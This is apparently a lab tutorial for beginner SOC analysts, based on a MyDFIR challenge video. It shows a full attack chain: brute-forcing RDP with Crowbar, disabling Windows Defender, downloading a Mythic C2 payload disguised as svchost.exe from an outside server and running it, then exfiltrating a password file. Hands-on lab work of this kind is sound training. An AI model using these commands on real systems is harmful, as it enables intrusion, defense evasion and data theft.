Mythic Agent Setup Tutorial
Based on the tutorial by MyDFIR — Soc Analyst Challenge Day 21
Objective: Learn how to perform a Brute Force Attack, generate Mythic agent and establish C2.
The Brute Force attact will follow based on the attack diagram created here: https://medium.com/@haq.prg/attack-diagram-for-rdp-brute-force-attack-29b78d8aa01e
Creating a file called password.txt with password and using it as the system password on the windows server:
Enter the Windows server → Create password.txt → Save the password data
Change the Windows server password policy to accept the password data saved in password.txt
Start Menu → Edit Group Policy → Windows Settings → Security Settings → Account Policy → Password Policy.
Change the fields and exit:
1. Minimum password length to: 5 Characters
2. Password must meet complexity requirements to: Disabled
Now apply the password created in password.txt in the sytem settings
Start → Administrator → Change account settings → Sign-in options → Password → Change
Enter the previous password → password.txt → Apply
Exit the server
Phase 1: Initial Access
→ Use the pre-existing wordlist that comes built-in with Kali Linux to attempt to brute force into Windows server
Open the terminal and run the following commands to open and see the wordlist:
Move to directory:cd /usr/share/wordlistsView the list of the files:lsUnzip the zipped file rockyou.txt.gz and enter the passowrd:sudo gunzip rockyou.txt.gzView the unzipped file:lsOpen the first 50 entrieshead -50 rockyou.txt
Output the entries to another .txt file:
head -50 rockyou.txt > /home/kali/mydfir-wordlist.txtChange to home directory:cdView the new .txt file:ls
Runnano mydfir-wordlist.txtand save the password we created (Winter2021!) earlier in the Windows server into the mydfir-wordlist.txtand save and exit. This wordlist can now be used to brute force into the Windows server
Installing Crowbar to perform the RDP Brute Force Attack
Upgrade the repositories:
sudo apt-get update && sudo apt-get upgrade -y[Incase of broken packages run the following command and rerun the update, upgrade command above:]
sudo apt install gnupgRun the command to install Crowbar:
sudo apt-get install -y crowbarCreate a file named target.txt and save the IP address and username of the Windows server
nano target.txt` → paste in the IP address and username of the Windows server
Save and exit
Running Crowbar to attack the target IP address with passwordlist
crowbar -b rdp -u Administrator -C mydfir-wordlist.txt -s 216.128.176.197/32
Running the command generates a RDP-SUCCESS event towards the target Windows server IPaddress with the password Winter2024!
Establishing RDP connection with the target Windows server using xfreerdp
xfreerdp /u:Administrator /p:Winter2024! /v:216.128.176.197:3389
With the RDP successful authentication Phase 1 is complete
Phase 2: Discovery
On the RDP server → open CMD and can check whoami, ipconfig, net user, net group commands
This completes the Phase 2: Discovery
Phase 3: Defense Evasion
Start → Windows Security → Virus & threat protection → Manage Settings → Disable all protection
By disabling threat protection, the ssyem cannot defend itself. Thus completing Phase 3: Defense Evasion
Get M Haq’s stories in your inbox
Join Medium for free to get updates from this writer.
Phase 4: Execution
Installing Mythic Agent Apollo
Available Mythic Agents → https://mythicmeta.github.io/overview/agent_matrix.html
Open Poweshell and SSH into the Mythic server.
Change directory to Mythic and run the command:
./mythic-cli install github https://github.com/MythicAgents/Apollo.git
Create C2 profile: http
./mythic-cli install github https://github.com/MythicC2Profiles/http
Create a Payload:
Target Machine: Windows → Next
Output as executable: WinEXE → Next
[Documenation provides insight into the functions of each of the commands]
→ Include C2 profile
→ Modify Callback Host: [http://‘MythicserverIPaddress’]
→ Next
Copy link address from the Download here link and save it in a notepad
→ Open Powershell Mythic SSH session. and run the command:
wget https://149.248.56.154:7443/direct/download/28bccd6f-2efa-444b-9096-778c56353518 --no-check-certificate[ → wget ‘link we saved into the notepad’ --no-check-certificate]
List the files:
ls
Check the file type:file 'name'(shows as executable file)
Change the payload name:mv 'name' 'new name'to display the renamed file
ls
Make a new directory ‘1’ and move the file to it.
Allow port 9999ufw allow 9999
Run the command:
python3 -m http.server 9999→ Open Powershell in the RDP Window Server and run:
Invoke-WebRequest -Uri http://149.248.56.154:9999/svchost-MHaq.exe -Outfile "C:\Users\Public\Downloads\svchost-MHaq.exe"[ → IPaddress of Mythic server:9999port/ payload.exe to the directory of “C:\Users\Public\Downloads”]
Change directory:
cd C:\Users\Public\DownloadsList the content:dirPayload is seen as transfered to the directory.On the Mythic server allow port 80:
ufw allow 80
On the RDP Windows server powershell, running the svchost:./svchost-MHaq.exeshould establishe a connection
Checking status of the svchost:
Mythic agent is thus succesfully executed on the Windows server, completing Phase: 4 Execution
Phase 5: Command and Control
C2 succesfully passed
Phase 6: Exfiltration
Enter the command:download C:\Users\Administrator\Documents\password.txtto extract the password.txt file from the RDP Windows server
Password.txt is successfully extracted and thus the completion of Phase 6: Exfiltration
With this we have learned how to perform a Brute Force Attack, generate Mythic agent and establish C2. This guide follows the Youtube video created by MyDFIR, part 21 of a series of videos to help gain practical skills for beginner SOC analysts. The specific video is linked below:
